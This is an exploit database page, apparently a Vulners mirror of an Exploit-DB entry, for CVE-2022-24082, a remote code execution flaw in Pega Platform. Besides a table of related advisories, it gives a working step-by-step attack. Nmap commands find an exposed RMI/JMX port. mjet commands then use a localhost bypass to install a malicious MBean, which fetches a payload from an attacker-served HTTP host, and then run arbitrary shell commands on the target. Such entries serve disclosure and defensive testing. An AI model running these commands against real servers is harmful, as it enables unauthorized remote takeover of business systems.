Lucene search
K

Pega Platform 8.1.0 - Remote Code Execution (RCE)

🗓️ 28 Mar 2023 00:00:00Reported by Marcin WolakType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 217 Views

Pega Platform 8.1.0 - Remote Code Execution (RCE) using MOGWAI LABS JMX Exploitation Toolki

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Pega Platform 8.7.3 Remote Code Execution Vulnerability
24 Oct 202200:00
zdt
0day.today
Pega Platform 8.1.0 - Remote Code Execution Vulnerability
28 Mar 202300:00
zdt
ATTACKERKB
CVE-2022-24082
19 Jul 202215:15
attackerkb
Circl
CVE-2022-24082
19 Jul 202218:40
circl
CNNVD
Pegasystem PEGA Platform 代码问题漏洞
19 Jul 202200:00
cnnvd
CVE
CVE-2022-24082
19 Jul 202200:00
cve
Cvelist
CVE-2022-24082
19 Jul 202200:00
cvelist
NVD
CVE-2022-24082
19 Jul 202215:15
nvd
Packet Storm
Pega Platform 8.7.3 Remote Code Execution
24 Oct 202200:00
packetstorm
Prion
Design/Logic Flaw
19 Jul 202215:15
prion
Rows per page
# Exploit Title: Pega Platform 8.1.0 - Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 20 Oct 2022
# Exploit Author: Marcin Wolak (using MOGWAI LABS JMX Exploitation Toolkit)
# Vendor Homepage: www.pega.com
# Software Link: Not Available
# Version: 8.1.0 on-premise and higher, up to 8.3.7
# Tested on: Red Hat Enterprise 7
# CVE : CVE-2022-24082

;Dumping RMI registry:
nmap -sT -sV --script rmi-dumpregistry -p 9999 <IP Address>

;Extracting dynamic TCP port number from the dump (in form of @127.0.0.1
:<PORT>)
;Verifying that the <PORT> is indeed open (it gives 127.0.0.1 in the RMI
dump, but actually listens on the network as well):
nmap -sT -sV -p <PORT> <IP Address>

;Exploitation requires:
;- JVM
;- MOGWAI LABS JMX Exploitation Toolkit (https://github.com/mogwailabs/mjet)
;- jython
;Installing mbean for remote code execution
java -jar jython-standalone-2.7.2.jar mjet.py --localhost_bypass <PORT> <IP
Address> 9999 install random_password http://<Local IP to Serve Payload
over HTTP>:6666 6666

;Execution of commands id & ifconfig
java -jar jython-standalone-2.7.2.jar mjet.py --localhost_bypass <PORT> <IP
Address> 9999 command random_password "id;ifconfig"

;More details:
https://medium.com/@Marcin-Wolak/cve-2022-24082-rce-in-the-pega-platform-discovery-remediation-technical-details-long-live-69efb5437316


Kind Regards,
Marcin Wolak

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation